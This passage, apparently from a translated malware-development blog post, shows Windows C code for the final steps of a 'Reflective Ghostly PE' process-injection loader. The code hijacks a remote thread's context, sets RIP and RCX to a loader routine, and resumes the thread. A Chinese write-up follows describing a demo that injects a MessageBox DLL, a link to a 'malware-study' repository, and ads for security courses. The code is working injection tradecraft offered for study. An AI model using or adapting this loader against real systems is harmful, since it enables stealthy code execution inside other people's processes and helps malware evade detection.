<span style="color:#5c2699"><span style="background-color:#f9f9f9">printf</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span><span style="color:#c41a16"><span style="background-color:#f9f9f9">"Remote thread %d created for Target DLL execution, start address: 0x%p\n"</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">, threadId, dllLoaderInTargetAddressOfLoadFunction);</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> }</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (hTargetThread == </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">) </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">goto</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> CLEANUP;</span></span>
<span style="color:#007400"><span style="background-color:#f9f9f9">// Get target thread context</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> CONTEXT targetThreadContext;</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">RtlZeroMemory</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(&targetThreadContext, </span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">sizeof</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(CONTEXT));</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> targetThreadContext.ContextFlags = CONTEXT_ALL;</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (!</span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">GetThreadContext</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(hTargetThread, &targetThreadContext)) </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">goto</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> CLEANUP;</span></span>
<span style="color:#007400"><span style="background-color:#f9f9f9">// Patch target thread's RIP to point to Entry point</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> targetThreadContext.Rip = (DWORD64)dllLoaderInTargetAddressOfLoadFunction;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> targetThreadContext.Rcx = (DWORD64)targetPESectionNameAddress;</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (!</span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">SetThreadContext</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(hTargetThread, &targetThreadContext)) </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">goto</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> CLEANUP;</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">printf</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span><span style="color:#c41a16"><span style="background-color:#f9f9f9">"Target thread's RIP set to 0x%p (start address)\n"</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">, dllLoaderInTargetAddressOfLoadFunction);</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">printf</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span><span style="color:#c41a16"><span style="background-color:#f9f9f9">"Target thread's RCX set to 0x%p (first param; address of section name for Target DLL)\n"</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">, targetPESectionNameAddress);</span></span>
<span style="color:#007400"><span style="background-color:#f9f9f9">// Resume process</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (</span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">ResumeThread</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(hTargetThread) == </span></span><span style="color:#1c00cf"><span style="background-color:#f9f9f9">-1</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">) </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">goto</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> CLEANUP;</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">printf</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span><span style="color:#c41a16"><span style="background-color:#f9f9f9">"Target thread resumed\n"</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">);</span></span>
<span style="color:#007400"><span style="background-color:#f9f9f9">// Wait for target thread to finish</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">printf</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span><span style="color:#c41a16"><span style="background-color:#f9f9f9">"Waiting for target thread to finish\n"</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">);</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">WaitForSingleObject</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(hTargetThread, INFINITE);</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">printf</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span><span style="color:#c41a16"><span style="background-color:#f9f9f9">"Target thread finished\n"</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">);</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> isSuccess = </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">true</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9">CLEANUP:</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (!injectLocal && pProcessAll != </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">)</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">HeapFree</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">GetProcessHeap</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(), </span></span><span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">, pProcessAll);</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (hTargetThread != </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">) </span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">CloseHandle</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(hTargetThread);</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">return</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> isSuccess;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9">}</span></span></span></span></span>
演示
使用 Reflective Ghostly PE 注入在远程进程中注入 Messagebox DLL
就这样,它成功了。我花了 3 天时间编写所有内容,排除潜在问题,了解某些事情为什么不起作用,然后找到解决方法。
完整代码
这是完整的项目。
malware-study/Ghostly Reflective PE Loader 位于主页 · captain-woof/malware-study
我的项目旨在了解恶意软件的开发和检测。请负责任地使用。如果您因此导致任何损失,我概不负责……
发布版本将包含 Loader DLL 的标准 C 和 C++ 库,某些内容将会中断。您必须自行移除它们。要按原样进行测试,请使用调试版本。
帮助调试,TestDLL
并TestEXE
作为目标 PE 工作。注入任一以查看其运行情况。它会弹出一个消息框。此外,TestTargetProcess
无限期运行以允许Injector
使用它。在启动项目中,选择它和 Injector,确保 Injector 在 TestTargetProcess 之后启动。
参考
其它相关课程
rust语言全栈开发视频教程-第一季(2025最新)
详细目录
mac/ios安全视频
QT开发底层原理与安全逆向视频教程
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
windows恶意软件开发与对抗视频教程
-